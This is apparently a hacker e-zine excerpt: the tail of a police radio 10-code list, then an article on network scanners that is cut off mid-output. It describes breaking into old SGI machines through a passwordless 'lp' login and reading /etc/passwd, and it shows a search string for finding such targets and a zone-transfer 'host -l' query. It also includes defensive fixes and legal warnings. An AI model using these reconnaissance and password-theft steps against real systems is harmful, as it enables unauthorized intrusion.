progress 10-11 - [CA] Give FCC call sign/Transmitting too fast 10-11 - [MISS] Dog case 10-12 - [CA] Visitors present 10-12 - [MISS] Stand by, remain alert, stop 10-13 - [BOTH] [Advise weather and road conditions 10-14 - [CA] Convoy or escort detail 10-14 - [MISS] Report of Prowler 10-15 - [CA] Enroute to jail w/ prisoner 10-15 - [MISS] Civil Disturbance 10-16 - [CA] Pick up prisoner 10-16 - [MISS] Domestic trouble 10-17 - [CA] Pick up papers 10-17 - [MISS] Meet complainant 10-18 - [BOTH] Complete assignment quickly 10-19 - [CA] Go to your station/I am enroute to my station 10-19 - [MISS] Return to __________ 10-20 - [BOTH] What is your location?/My location is... 10-21 - [CA] Telephone your station 10-21 - [MISS] Call __________ by telephone 10-22 - [BOTH] Disregard, Cancel last message 10-23 - [CA] Stand by 10-23 - [MISS] Arrived at scene 10-24 - [CA] Trouble at station 10-24 - [MISS] Assignment completed 10-25 - [MISS] Report in person to meet __________ 10-26 - [MISS] Detaining subject, expedite __________ 10-27 - [CA] Check computer for warrants 10-27 - [MISS] Driver's license information 10-28 - [CA] Check for full information on vehicle or suspect 10-28 - [MISS] Vehicle registration information 10-29 - [BOTH] Check and advise if vehicle or subject is wanted 10-30 - [CA] Subject has no record, no wants 10-30 - [MISS] Illegal use of radio 10-31 - [CA] Subject has records, no wants 10-31 - [MISS] Crime in progress 10-32 - [CA] Subject is wanted 10-32 - [MISS] Man with gun 10-33 - [BOTH] Emergency traffic in the air 10-34 - [CA] Clearance for emergency messge/Resume normal traffic 10-34 - [MISS] Riot 10-35 - [CA] Confidential information/Backup needed 10-35 - [MISS] Major crime alert 10-36 - [BOTH] Correct time 10-36 - [CA] Correct time/Confidential info 10-37 - [CA] Correct time 10-37 - [MISS] Investigate suspicious auto 10-38 - [MISS] Stopping suspicious auto 10-39 - [CA] Message delivered 10-39 - [MISS] Urgent---use light/siren 10-40 - [MISS] Silent run---no light/siren 10-41 - [MISS] Ending tour of duty 10-42 - [MISS] Ending tour of duty 10-43 - [MISS] Information (J1 = confidential) 10-44 - [MISS] Request permission to leave patrol car 10-45 - [MISS] Animal carcass at __________ 10-46 - [MISS] Assist motorist 10-47 - [MISS] Emergency road repairs needed 10-48 - [MISS] Trafic standard needs repair 10-49 - [MISS] Traffic light out 10-50 - [MISS] Accident 10-51 - [MISS] Wrecker needed 10-52 - [MISS] Ambulance needed 10-53 - [MISS] Road blocked 10-54 - [MISS] Livestock on Highway 10-55 - [MISS] Intoxicated driver 10-56 - [MISS] Intoxicated pedestrian 10-57 - [MISS] Hit & Run 10-59 - [MISS] Direct traffic 10-60 - [MISS] Squad in vicinity 10-61 - [MISS] Personal in area 10-62 - [MISS] Reply to message 10-63 - [MISS] Prepare to make written copy 10-64 - [MISS] Message for local delivery 10-65 - [MISS] Net message assignment 10-66 - [MISS] Message cancellation 10-67 - [MISS] Clear to read net message 10-68 - [MISS] Dispatch information 10-69 - [MISS] Message received 10-70 - [MISS] Fire Alarm 10-71 - [MISS] Advise nature of fire (size, type, contents of building) 10-72 - [MISS] Report on progress of fire 10-73 - [MISS] Smoke report 10-74 - [MISS] Negative 10-75 - [MISS] In contact with 10-76 - [MISS] En route (J1 = prisoner, J2 = female) 10-77 - [MISS] Estimated time of arrival 10-78 - [MISS] Need assistance 10-79 - [MISS] Notify coroner 10-80 - [MISS] Vacation check 10-81 - [MISS] School stops 10-82 - [MISS] Reserve loging 10-83 - [MISS] Door check 10-84 - [MISS] If meeting __________, advise 10-85 - [MISS] Will be late 10-86 - [CA] Traffic check 10-86 - [MISS] Report to station 10-87 - [CA] Meet an officer 10-87 - [MISS] Pick up checks for distribution 10-88 - [MISS] Advise present phone number 10-89 - [MISS] Car to car 10-90 - [MISS] Bank alarm 10-91 - [MISS] Unnecessary use of radio 10-92 - [MISS] Frequence check 10-93 - [MISS] Blockade 10-94 - [MISS] Drag racing 10-95 - [MISS] Give radio test 10-96 - [MISS] Mental subject 10-97 - [CA] Arriving at assigned detail 10-97 - [MISS] Minor detail (J1 = Station-report, J2 = Station-lunch, J3 = Restaurant) 10-98 - [CA] Assigned detail complete 10-98 - [MISS] Prison or jail break 10-99 - [CA] Emergency - all units and stations! 10-99 - [MISS] Records indicate wanted or stolen 11-6 - Illegal discharge of firearms 11-7 - Prowler 11-8 - Person down 11-10 - Take a report 11-12 - Dead animal/Loose livestock 11-13 - Injured animal 11-14 - Animal bite 11-15 - Ball game in street 11-17 - Wires down 11-24 - Abandoned vehicle 11-25X - Female motorist needs assistance 11-27 - Subject has record, no wants/Drivers license check 11-28 - Rush vehicle information information 11-29 - Subject has no record, no wants 11-30 - Incomplete phone call 11-31 - Person calling for help 11-40 - Advise if ambulance needed 11-41 - Request ambulance 11-42 - Ambulance not required/Paramedics needed 11-43 - Doctor required 11-44 - Possible fatality 11-45 - Attempted suicide 11-46 - Death report 11-47 - Injured person 11-48 - Provide transportation 11-50 - Field interrogation 11-51 - Security check 11-70 - Fire alarm 11-71 - Fire report 11-78 - Paramedics dispatched 11-79 - Traffic accident - ambulance dispatched 11-80 - Traffic accident - serious injury 11-81 - Traffic accident - minor injury 11-82 - Traffic accident - property damaged 11-83 - Traffic accident - no details 11-84 - Direct traffic 11-85 - Send tow truck 11-86 - Special detail/Bomb threat 11-87 - Assist other unit/Bomb found 11-88 - Assist motorist 11-98 - Meet an officer 11-99 - Officer needs help - Urgent! 5150 - Mental case 10851 - Grand theft, auto 10852 - Tampering w/ Vehicle 20001 - Hit-and-run (felony) 20002 - Hit-and-run (misdemeanor) 20007 - Hit-and-run - unattended vehichle 21958 - Drunk pedestrian on roadway 22350 - Speeding 22500 - Illegal parking 23101 - Drunk driving - injury involved 23102 - Drunk driver 23105 - Driver under influence of narcotics 23109 - Cars racing 23110 - Persons throwing objects at vehicles -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 6. All about Scanners by AcidMeister ameister@vol.com Begin by answering some basic questions, including; What is a scanner? What does a scanner do? On what platforms are scanners available? What system requirements are involved to run a scanner? Is it difficult to create a scanner? What will a scanner tell me? What won't a scanner tell me? Are scanners legal? Why are scanners important to Internet security? After answering these questions, I will examine the historical background of scanners. From there, I cover the scanner from a more practical viewpoint. I will differentiate between true scanners are other diagnostic network tools. I will examine different types of scanners, especially very popular ones (such as SATAN and Strobe). At that point, you will gain understanding of what constitutes a scan and what ingredients are necessary to create a scanner. Finally, you will conduct a scan and analyze what information has been gained from it. In this way, you will derive an inside look at scanner functionality. By the end of this chapter, you will know what a scanner is, how to deploy one, and how to interpret the results from a scan. In short, I will prepare you for actual, network combat using scanners. Scanners In Internet security, no hacking tool is more celebrated than the scanner. It is said that a good TCP port scanner is worth a thousand user passwords. Before I treat the subject of scanners in depth, I want to familiarize you with scanners. What Is a Scanner? A scanner is a program that automatically detects security weaknesses in a remote or local host. By deploying a scanner, a user in Los Angeles can uncover security weaknesses on a server in Japan without ever leaving his or her living room. How Do Scanners Work? True scanners are TCP port scanners, which are programs that attack TCP/IP ports and services (Telnet or FTP, for example) and record the response from the target. In this way, they glean valuable information about the target host (for instance, can an anonymous user log in?). Other so-called scanners are merely UNIX network utilities. These are commonly used to discern whether certain services are working correctly on a remote machine. These are not true scanners, but might also be used to collect information about a target host. (Good examples of such utilities are the rusers and host commands, common to UNIX platforms.) Such utilities are discussed later in this chapter. Cross Reference: rusers gathers information about users currently logged to the targeted host and in this way, closely resembles the UNIX utility finger. host is also a UNIX utility, designed to interactively query name servers for all information held on the targeted host. On What Platforms Are Scanners Available? Although they are commonly written for execution on UNIX workstations, scanners are now written for use on almost any operating system. Non-UNIX scanning tools are becoming more popular now that the rest of the world has turned to the Internet. There is a special push into the Microsoft Windows NT market, because NT is now becoming more popular as an Internet server platform. What System Requirements Are Necessary to Run a Scanner? System requirements depend on the scanner, your operating system, and your connection to the Internet. Certain scanners are written only for UNIX, making UNIX a system requirement. There are, however, more general requirements of which to be aware: You might encounter problems if you are running an older Macintosh or IBM compatible with a slow Internet connection (as would be the case if you used Windows 3.11 running TCPMAN as a TCP/IP stack, via a 14.4 modem). These configurations might cause stack overflows or general protection faults, or they might simply cause your machine to hang. Generally, the faster your connection, the better off you are. (And naturally, a true 32-bit system contributes greatly to performance.) RAM is another issue, mainly relevant to window-system-based scanners. Command-line scanning utilities typically require little memory. Windowed scanners can require a lot. (For a comparison, I suggest running ISS. First, try the older, command-line version. Then run the new Xiss, which operates through MIT's X Window System, OpenWindows, or any compatible UNIX-based windowing system. The difference is very noticeable.) Bottom line, you must have a compatible operating system, a modem (or other connection to the Net), and some measure of patience. Not all scanners work identically on different platforms. On some, this or that option might be disabled; on others, sometimes very critical portions of the application might not work. Is It Difficult to Create a Scanner? No. However, you will require strong knowledge of TCP/IP routines and probably C, Perl, and/or one or more shell languages. Developing a scanner is an ambitious project that would likely bring the programmer much satisfaction. Even so, there are many scanners available (both free and commercial), making scanners a poor choice as a for-profit project. You will also require some background in socket programming, a method used in the development of client/server applications. Cross Reference: There are many resources online to help you get started; I list two here. The first is a bare-bones introduction to socket programming generated by Reg Quinton at The University of Western Ontario. It can be found at http://tecstar.cv.com/~dan/tec/primer/socket_programming.html. Another excellent source for information about socket programming is provided by Quarterdeck Office Systems as an online programming resource. It addresses all supported BSD 4.3 socket routines and is very comprehensive. It is located at http://149.17.36.24/prog/sockets.html. What Will a Scanner Tell Me? A scanner might reveal certain inherent weaknesses within the target host. These might be key factors in implementing an actual compromise of the target's security. In order to reap this benefit, however, you must know how to recognize the hole. Most scanners do not come with extensive manuals or instructions. Interpretation of data is very important. What Won't a Scanner Tell Me? A scanner won't tell you the following: A step-by-step method of breaking in The degree to which your scanning activity has been logged Are Scanners Legal? Yes. Scanners are most often designed, written, and distributed by security personnel and developers. These tools are usually given away, via public domain, so that system administrators can check their own systems for weaknesses. However, although scanners are not illegal to possess or use, employing one if you are not a system administrator would meet with brutal opposition from the target host's administrator. Moreover, certain scanners are so intrusive in their probing of remote services that the unauthorized use of them may violate federal or state statutes regarding unauthorized entry of computer networks. This is a matter of some dispute and one not yet settled in law. Therefore, be forewarned. WARNING: Do not take scanning activity lightly. If you intend to scan wide ranges of domains, check the laws in your state. Certain states have extremely particular legislation. The wording of such statutes is (more often than not) liberally construed in favor of the prosecution. For example, the state of Washington has provisions for computer trespass. (Wash. Rev. Code Sec. 9A.52 110-120.) If you deploy a scanner that attempts to steal the passwd file (a password file on the UNIX platform located in the directory /ETC), you might actually have committed an offense. I will discuss legal issues of hacking and cracking in Why Are Scanners Important to Internet Security? Scanners are important to Internet security because they reveal weaknesses in the network. Whether this information is used by hackers or crackers is immaterial. If used by system administrators, scanners help strengthen security in the immediate sense. If employed by crackers, scanners also help strengthen security. This is because once a hole has been exploited, that exploitation will ultimately be discovered. Some system administrators argue that scanners work against Internet security when in the hands of crackers. This is not true. If a system administrator fails to adequately secure his or her network (by running a scanner against it), his or her negligence will come to light in the form of a network security breach. Historical Background Scanners are the most common utilities employed by today's cracker. There is no mystery as to why: These programs, which automatically detect weaknesses within a server's security structure, are fast, versatile, and accurate. More importantly, they are freely available on the Internet. For these reasons, many sources insist that the scanner is the most dangerous tool in the cracking suite. To understand what scanners do and how they are employed, you must look to the dawn of computer hacking. Transport yourself to the 1980s, before the personal computer became a household item. The average machine had a 10MB hard disk drive and a whopping 640K memory. In fact, our more mature readers will remember a time when hard disk drives did not exist. In those early days, work was done by rotating through a series of 5" floppy diskettes; one for the operating system, one for the current program, and one to save your work. Those early days are rather amusing in retrospect. Communications were conducted, if at all, with modems ranging in speed from 300 to 1200bps. Incredibly, we got along rather well with these meager tools. The majority of users had never heard of the Internet. It existed, true, but was populated primarily by military, research, and academic personnel. Its interface--if we could call it that--was entirely command-line based. But these were not the only limitations preventing America from flocking to the Net. Machines that could act as servers were incredibly expensive. Consider that Sun Microsystems workstations were selling for five and six figures. Today, those same workstations--which are scarcely more powerful than a 25MHz 386--command less than $800 on Usenet. We're talking frontier material here. Civilians with Internet access were generally students with UUCP accounts. Dial-up was bare-bones, completely unlike today's more robust SLIP, PPP, and ISDN access. In essence, the Internet was in its infancy, its existence largely dependent on those early software authors concerned with developing the system. Security at that point was so lax that some readers will wonder why the Internet was not completely overtaken by crackers. The answer is simple. Today, there are massive online databases and mailing lists that broadcast weaknesses of a dozen different operating systems. Table 9.1 lists a few examples. Table 9.1. Online mailing lists of security holes. Resource Location Firewalls mailing list Firewalls@GreatCircle.COM Sneakers mailing list Sneakers@CS.Yale.EDU The WWW security list WWW-security@ns2.rutgers.edu The NT security list Ntsecurity@ISS Bugtraq BUGTRAQ@NETSPACE.ORG Dozens of such mailing lists now exist on the Internet (for a comprehensive list, see Appendix A, "How to Get More Information"). These lists operate almost completely free of human interaction or maintenance. List members forward their reports via e-mail, and this e-mail is distributed to the entire list, which can sometimes be many thousands of people worldwide. In addition, such lists are usually archived at one or more sites, which feature advanced search capabilities. These search capabilities allow any user, list member, or otherwise to search for inherent vulnerabilities in every operating system known to humankind. Joining a list: Joining such a list is generally a simple process. Most lists require that you send an e-mail message to a special address. This address accepts commands from your first line of the e-mail message. The structure of this command may vary. In some cases, that command is as simple as subscribe. In other cases, you may be required to issue arguments to the command. One such argument is the name of the list. For example, the Firewalls mailing list at GreatCircle.com requires that you send subscribe firewalls as the first line of your e-mail. Please note that this must be the first line of the e-mail message, and not the subject line. This message is then sent to majordomo@greatcircle.com. The address majordomo is a very common one for processing mailing list subscription requests. Of course, each list is different. To quickly determine the requirements for each security list, I suggest you use Eugene Spafford's Web page as a springboard. Mr. Spafford lists links on his page to most of the well-known security mailing lists. Cross Reference: Spafford's page is at http://www.cs.purdue.edu/homes/spaf/hotlists/csec-top.html. From Spafford's page, you can get to instructions on how to subscribe to any of the linked lists. In the beginning, however, there were no such databases. The databases did not exist largely because the knowledge did not exist. The process by which holes get discovered inherently involves the exploitation of such weaknesses. More simply put, crackers crack a machine here and a machine there. By and by, the weaknesses that were exploited in such attacks were documented (and in certain instances, eradicated by later, superior code). This process, as you might expect, took many years. The delay was based in part on lack of knowledge and in part on the unwillingness of many system administrators to admit their sites had been penetrated. (After all, no one wants to publicize that he implements poor security procedures.) So the stage is set. Picture a small, middle-class community with stately homes and nicely trimmed lawns. It is near midnight. The streets are empty; most of the windows in the neighborhood are dark, their shades drawn tight. One window is brightly lit, though, and behind it is a young man of 15 years; before him is a computer (for the sake of atmosphere, let's label it an old portable CoreData). The boy is dialing a list of telephone numbers given to him by a friend. These are known UNIX boxes sprinkled throughout a technology park a few miles away. Most of them accept a connection. The common response is to issue a login prompt. Each time the boy connects to such a machine, he tries a series of login names and passwords. He goes through a hundred or more before finally, he obtains a login shell. What happens then is up to him. It is hard to believe that early cracking techniques involved such laborious tasks. Depending on the operating system and the remote access software, one might have to type dozens of commands to penetrate a target. But, as much as crackers are industrious, they are also lazy. So, early on, the war dialer was developed. A war dialer consists of software that dials a user-specified range of telephone numbers searching for connectables (machines that will allow a remote user to log in). Using these tools, a cracker can scan an entire business exchange in several hours, identifying all hosts within that range. In this way, the task of locating targets was automated. Better yet, war dialers record the response they receive from each connect. This data is then exported to a human-readable file. Thus, in neatly written tables, one can tell not only which numbers connected, but also what type of connection was initiated (such as modem, 2400 baud or fax machine). NOTE: The term war dialer reportedly originated from the film WarGames. The film's plot centered around a young man who cracked his way into American military networks. Some people believe that the film was inspired by the antics of the now-famous cracker, Kevin Mitnik. Mitnik was a young teen when he cracked a key military network. Cross Reference: If you want to check out a war dialer in action, I suggest getting Toneloc. It is freely available on the Internet and is probably the best war dialer ever made. It was written to run in DOS, but it also runs in Windows 95 via command prompt (though perhaps not as smoothly as it should). It is available at ftp://ftp.fc.net/pub/defcon/TONELOC/tl110.zip. In essence, scanners operate much like war dialers with two exceptions: Scanners are used only on the Internet or other TCP/IP networks. Scanners are more intelligent than war dialers. Early scanners were probably very simplistic. I say probably because such programs were not released to the Internet community the way scanning tools are today (I therefore have no way of knowing what they looked like). Thus, when I write of early scanners, I mean basic programs written by system administrators for the purposes of checking their own networks. These were most likely UNIX shell scripts that attempted to connect on various ports, capturing whatever information was directed to the console or STDOUT. STDOUT refers to the output that one sees on the console or at a command prompt. In other words, it is the output of a given command. The STD refers to standard, and the OUT refers to output. STDOUT, therefore, is the standard output of any given command. The STDOUT result of a directory listing, for example, is a list of filenames and their sizes. The Attributes of a Scanner The primary attributes of a scanner are The capability to find a machine or network The capability, once having found a machine, to find out what services are being run on the host The capability to test those services for known holes This process is not incredibly complex. At its most basic, it involves capturing the messages generated when one tries to connect to a particular service. To illustrate the process step by step, let's address these attributes one at a time. Locating a Potential Target The Internet is vast. There are literally millions of potential targets in the void. The problem facing modern crackers is how to find those targets quickly and effectively. Scanners are well suited for this purpose. To demonstrate how a scanner can find a potential target, determine what services it is running, and probe for weaknesses, let's pick on Silicon Graphics (SGI) for the remainder of this section. Here, you will see how scanners are regularly employed to automate human cracking tasks. A Hole Is Discovered In late 1995, Silicon Graphics (SGI) shipped a large number of WebForce models. These were extremely powerful machines, containing special software to generate media-rich WWW pages. They ran IRIX, a proprietary form of UNIX, specifically designed for use with SGI graphics workstations. Certain versions of IRIX retained a default login for the line printer. That is, if a user initiated a Telnet session to one of these SGI boxes and logged in as lp, no password would be required. Typically, the cracker would be dropped to a shell prompt from which he or she could execute a limited number of commands. Most of these were standard shell commands, available to any user on the system. These did not require special privileges and performed only basic functions, such as listing directories, displaying the contents of files, and so forth. Using these commands, crackers could print the contents of the passwd file to the screen. Once they had obtained this display, they would highlight the screen, clip the contents, and paste them into a text editor on their local machine. They would save this information to a local file and subsequently crack the encrypted passwords from the SGI system. TIP: A number of automated password-cracking utilities exist. Most often, these are designed to crack DES-encrypted passwords, common to UNIX systems. I will cover these utilities in Chapter 10, "Password Crackers." News of this vulnerability spread quickly. Within days, the word was out: SGI WebForce machines could be attacked (and their security compromised) with little effort. For crackers, the next step was to find these machines. Looking for WebForce Models To exploit this hole, crackers needed to find WebForce models. One way to do so was manually. For a time, search engines such as altavista.digital.com could be used to locate such machines en masse. This is because many of the WebForce models were administrated by those with strong knowledge of graphic arts and weak knowledge of security. These administrators often failed to institute even the most basic security measures. As such, many of these machines retained world-readable FTP directories. These directories were therefore visible to search engines across the Internet. The FTP directories of these SGI models contained standard, factory-default /etc/passwd files. Contained within these were the login names of system users. The majority of these login names were common to almost any distribution of UNIX. However, these passwd files also included unique login names. Specifically, they contained login names for several utilities and demo packages that shipped with the software. One of these was a login called EZSetup. Thus, a cracker needed only to issue the following search string into any well known search engine: EzSetup + root: lp: This would return a list of WebForce models. The cracker would then take that list and attempt to crack each machine. It was a quick and dirty way to collect a handful of potential targets. However, that trend didn't last long (about a month or so). Advisories were posted to the Net, explaining that world-readable directories were responsible for the compromise of SGI security. So crackers turned elsewhere. Some used the InterNIC database to find such machines (the WHOIS service). The WHOIS service, housed at internic.net, is a database of all registered machines currently on the Internet. One can query this database (to find out the network numbers or the owner's address of a given machine) by issuing a WHOIS instruction at a UNIX command prompt. The structure of such a command is whois mci.net. For those who do not use UNIX, one can either Telnet directly to InterNIC (internic.net) or use one of the utilities described later in this chapter. Many hosts included words within their registered names that suggested at least a fleeting probability that they owned an SGI, such as Graphics Art Indy Indigo The terms Indy and Indigo commonly appear on either the Web site or the directory structure of an SGI workstation. That is because the product line is based on the Indigo model, which is often referred to as the Indy product line. Some InterNIC entries also include the operating system type being run on the host. Thus, a search for the string IRIX could reveal a few machines. However, these methods were unreliable. For example, many versions of IRIX did not suffer from the lp bug (neither did every WebForce model). So, instead, many crackers employed scanners. Using Scanners to Uncover WebForce Models Finding WebForce models using a scanner was an easy task. A range of addresses (such as 199.171.190.0 to 199.171.200.0) would be picked out, perhaps randomly, perhaps not. The cracker would specify certain options. For example, the scan didn't need to have great depth (an issue we will be discussing momentarily). All it needed to do was check each address for a Telnet connection. For each successful connection, the scanner would capture the resulting text. Thus, a typical entry might look something like this: Trying 199.200.0.0 Connected to 199.200.0.0 Escape Character is "]" IRIX 4.1 Welcome to Graphics Town! Login: The resulting information would be written to a plain text file for later viewing. Talented crackers would write an ancillary program to automate the entire process. Here are the minimum functions that such a program would require: Start the scan, requesting the option to test Telnet connections for the lp login. Wait until a signal indicating that the scan is completed is received. Access the result file, exporting only those results that show successful penetration. Format these results into flat-file, database format for easy management. The scan would run for several hours, after which the cracker would retrieve a list of compromised Indy machines. Later, perhaps at night (relative to the geographical location of the target host), the cracker would log in and being the process of grabbing the password files. TIP: If you know of an SGI machine and you want to view the IP address of the last person who exploited this vulnerability, finger lp@the.sgi.box. This author traced down a person at Texas A&M University who was compromising machines from Los Angeles to New York using this technique. This young man's originating address appeared on 22 machines. (Some of these were of well- known institutions. While we cannot identify them here, one was a graphic design school in New York City. Another was a prominent gay rights organization in Los Angeles. To this day, these machines may well be vulnerable to such an attack. Alas, many SGI users are gifted graphic artists but have little background in security. A renowned university in Hawaii missed this hole and had an entire internal network torn to pieces by a cracker. He changed the root passwords and destroyed valuable data.) NOTE: If you currently have a WebForce model, you can test whether it is vulnerable to this simple attack. First, Telnet to the machine. When confronted with a login prompt, enter the string lp and press Enter. If you are immediately logged into a shell, your machine is vulnerable. If so, this can be quickly remedied by opening the file /etc/passwd and inserting an asterisk between the first and second fields for the user lp. Thus, the leading portion of the line would look like this: lp:*:4:7:lp:/var/spool/lpd: instead of like this: lp::4:7:lp:/var/spool/lpd: The idea is to create a locked login. If you fail to do so, the problem will remain because the system is configured to accept a line printer login without requesting a password. Of course, this is a very primitive example, but it illustrates how potential targets are sometimes found with scanners. Now I want to get more specific. Momentarily, you will examine various scanners currently available on the Internet. Before that, however, you need to distinguish between actual scanners and network utilities that are not scanners. Network Utilities Sometimes people erroneously refer to network utilities as scanners. It is an easy mistake to make. In fact, there are many network utilities that perform one or more functions that are also performed during a bona fide scan. So, the distinction is significant only for purposes of definition. Because we are focusing on scanners, I would like to take a moment to illustrate the distinction. This will serve two purposes: First, it will more clearly define scanners. Second, it will familiarize you with the rich mixture of network resources available on the Internet. The network utilities discussed next run on a variety of platforms. Most of them are ported from UNIX environments. Each utility is valuable to hackers and crackers. Surprisingly, garden-variety network utilities can tell the user quite a bit, and these utilities tend to arouse less suspicion. In fact, many of them are totally invisible to the target host. This is in sharp contrast to most scanners, which leave a large footprint, or evidence of their existence, behind. In this respect, most of these utilities are suitable for investigating a single target host. (In other words, the majority of these utilities are not automated and require varying levels of human interaction in their operation.) host host is a UNIX-specific utility that performs essentially the same operation as a standard nslookup inquiry. The only real difference is that host is more comprehensive. Note, too, that various non-UNIX utilities discussed in the following pages also perform similar or equivalent tasks. host ranks as one of the ten most dangerous and threatening commands in the gamut. To demonstrate why, I pulled a host query on Boston University (BU.EDU). The command line given was host -l -v -t any bu.edu The output you are about to read is astonishing. A copious amount of information is available, including data on operating systems, machines, and the network in general. (Also, if you are deep into security, some preliminary assumptions might be made about trust relationships.) Examine a few lines. First, let's look at the basic information: Found 1 addresses for BU.EDU Found 1 addresses for RS0.INTERNIC.NET Found 1 addresses for SOFTWARE.BU.EDU Found 5 addresses for RS.INTERNIC.NET Found 1 addresses for NSEGC.BU.EDU Trying 128.197.27.7 bu.edu 86400 IN SOA BU.EDU HOSTMASTER.BU.EDU( 961112121 ;serial (version) 900 ;refresh period 900 ;retry refresh this often 604800 ;expiration period 86400 ;minimum TTL ) bu.edu 86400 IN NS SOFTWARE.BU.EDU bu.edu 86400 IN NS RS.INTERNIC.NET bu.edu 86400 IN NS NSEGC.BU.EDU bu.edu 86400 IN A 128.197.27.7 This in itself is not damaging. It identifies a series of machines and their name servers. Most of this information could be collected with a standard WHOIS lookup. But what about the following lines: bu.edu 86400 IN HINFO SUN-SPARCSTATION-10/41 UNIX PPP-77-25.bu.edu 86400 IN A 128.197.7.237 PPP-77-25.bu.edu 86400 IN HINFO PPP-HOST PPP-SW PPP-77-26.bu.edu 86400 IN A 128.197.7.238 PPP-77-26.bu.edu 86400 IN HINFO PPP-HOST PPP-SW ODIE.bu.edu 86400 IN A 128.197.10.52 ODIE.bu.edu 86400 IN MX 10 CS.BU.EDU ODIE.bu.edu 86400 IN HINFO DEC-ALPHA-3000/300LX OSF1 Here, we are immediately aware that a DEC Alpha running OSF/1 is available (ODIE.bu.edu). And then: STRAUSS.bu.edu 86400 IN HINFO PC-PENTIUM DOS/WINDOWS BURULLUS.bu.edu 86400 IN HINFO SUN-3/50 UNIX (Ouch) GEORGETOWN.bu.edu 86400 IN HINFO MACINTOSH MAC-OS CHEEZWIZ.bu.edu 86400 IN HINFO SGI-INDIGO-2 UNIX POLLUX.bu.edu 86400 IN HINFO SUN-4/20-SPARCSTATION-SLC UNIX SFA109-PC201.bu.edu 86400 IN HINFO PC MS-DOS/WINDOWS UH-PC002-CT.bu.edu 86400 IN HINFO PC-CLONE MS-DOS SOFTWARE.bu.edu 86400 IN HINFO SUN-SPARCSTATION-10/30 UNIX CABMAC.bu.edu 86400 IN HINFO MACINTOSH MAC-OS VIDUAL.bu.edu 86400 IN HINFO SGI-INDY IRIX KIOSK-GB.bu.edu 86400 IN HINFO GATORBOX GATORWARE CLARINET.bu.edu 86400 IN HINFO VISUAL-X-19-TURBO X-SERVER DUNCAN.bu.edu 86400 IN HINFO DEC-ALPHA-3000/400 OSF1 MILHOUSE.bu.edu 86400 IN HINFO VAXSTATION-II/GPX UNIX PSY81-PC150.bu.edu 86400 IN HINFO PC WINDOWS-95 BUPHYC.bu.edu 86400 IN HINFO VAX-4000/300 OpenVMS I have omitted the remaining entries for sake of brevity. The inquiry produced a plain text file of some 70KB (over 1500 lines in all). The point here is this: Anyone, with a single command-line, can gather critical information on all machines within a domain. When crackers looks at the preceding information, they are really seeing this: ODIE.bu.edu is a possible target for the mount -d -s bug, where if two successive mount -d -s commands are sent within seconds of one another (and before another host has issued such a request), the request will be honored. CHEEZEWIZ.bu.edu is a potential target for either the lp login bug or the Telnet bug. Or maybe, if we're on site, we can exploit the floppy mounter bug in /usr/etc/msdos. POLLUX.bu.edu is an old machine. Perhaps Sun Patch-ID# 100376-01 hasn't been applied. Maybe they put in a fresh install of SunOS 4.1.x and the SPARC integer division is shredded. I see that PSY81-PC150.bu.edu is running Windows 95. I wonder whether the SMB protocol is running and if so, are any local directories shared out? Using Samba on a Linux box, perhaps I can attach one of the shared out directories from anywhere on the Internet simply by specifying myself as a guest. As you can easily see, even minor information about the operating system can lead to problems. In reality, the staff at BU.EDU has likely plugged all the holes mentioned here. But that doesn't mean that every host has. Most haven't. A host lookup takes less than three seconds, even when the network is under heavy system load. It is quick, legal, and extremely revealing. CAUTION: There are various ways to protect against this. One way is to run a firewall. Another is to restrict queries of name servers to a particular set of addresses. Another is to completely disallow outside access to your name servers. Traceroute Traceroute's name is quite descriptive. In short, it traces the route between two machines. As explained in the man (manual) page: Tracking the route one's packets follow (or finding the miscreant gate way that's discarding your packets) can be difficult. Traceroute utilizes the IP protocol `time to live' field and attempts to elicit an ICMP TIME_EXCEEDED response from each gateway along the path to some host. NOTE: Man pages are manual pages on the UNIX platform. These are the equivalent of help files. They can be called from a command prompt or from a windowed system. On a full install of UNIX, these man pages cover help on all commands one can issue from a prompt. They also cover most programming calls in C and C++. This utility can be used to identify the location of a machine. Suppose, for example, that you are trying to track down an individual who posted from a box connected to his or her ISP via PPP. Suppose that the posting revealed nothing more than an IP address that, when run through a WHOIS search, produces nothing (that is, the address is not the address of a registered domain). You can find that machine by issuing Traceroute requests. The second to last entry is generally the network from which the activity originated. For example, examine this Traceroute trace going from a machine in France (freenix.fr) to mine: 1 193.49.144.224 (193.49.144.224) 3 ms 2 ms 2 ms 2 gw-ft.net.univ-angers.fr (193.49.161.1) 3 ms 3 ms 3 ms 3 angers.or-pl.ft.net (193.55.153.41) 5 ms 5 ms 5 ms 4 nantes1.or-pl.ft.net (193.55.153.9) 13 ms 10 ms 10 ms 5 stamand1.renater.ft.net (192.93.43.129) 25 ms 44 ms 67 ms 6 rbs1.renater.ft.net (192.93.43.186) 45 ms 30 ms 24 ms 7 raspail-ip2.eurogate.net (194.206.207.18) 51 ms 50 ms 58 8 raspail-ip.eurogate.net (194.206.207.58) 288 ms311 ms 287 ms 9 * Reston.eurogate.net (194.206.207.5) 479 ms 469 ms 10 gsl-sl-dc-fddi.gsl.net (204.59.144.199) 486 ms 490 ms 489 ms 11 sl-dc-8-F/T.sprintlink.net (198.67.0.8) 475 ms * 479 ms 12 sl-mae-e-H2/0-T3.sprintlink.net (144.228.10.42)498 ms 478 ms 13 mae-east.agis.net (192.41.177.145) 391 ms 456 ms 444 ms 14 h0-0.losangeles1.agis.net (204.130.243.45)714 ms 556 ms714 ms 15 pbi10.losangeles.agis.net (206.62.12.10) 554 ms 543 ms 505 ms 16 lsan03-agis1.pbi.net (206.13.29.2) 536 ms 560 ms * 17 * * * 18 pm1.pacificnet.net (207.171.0.51) 556 ms 560 ms 561 ms 19 pm1-24.pacificnet.net (207.171.17.25) 687 ms 677 ms 714 ms From this, it is clear that I am located in Los Angeles, California: pbi10.losangeles.agis.net (206.62.12.10) 554 ms 543 ms 505 ms and occupy a place at pacificnet.net: pm1.pacificnet.net (207.171.0.51) 556 ms 560 ms 561 ms Traceroute can be used to determine the relative network location of a machine in the void. Note that you needn't have UNIX (or a UNIX variant) to run Traceroute queries. There are Traceroute gateways all over the Internet. And, although these typically trace the route only between the Traceroute gateway and your target, they can at least be used to pin down the local host of an IP address. Cross Reference: Try the Traceroute gateway at http://www.beach.net/traceroute.html. rusers and finger rusers and finger can be used together to glean information on individual users on a network. For example, a rusers query on the domain wizard.com returns this: gajake snark.wizard.com:ttyp1 Nov 13 15:42 7:30 (remote) root snark.wizard.com:ttyp2 Nov 13 14:57 7:21 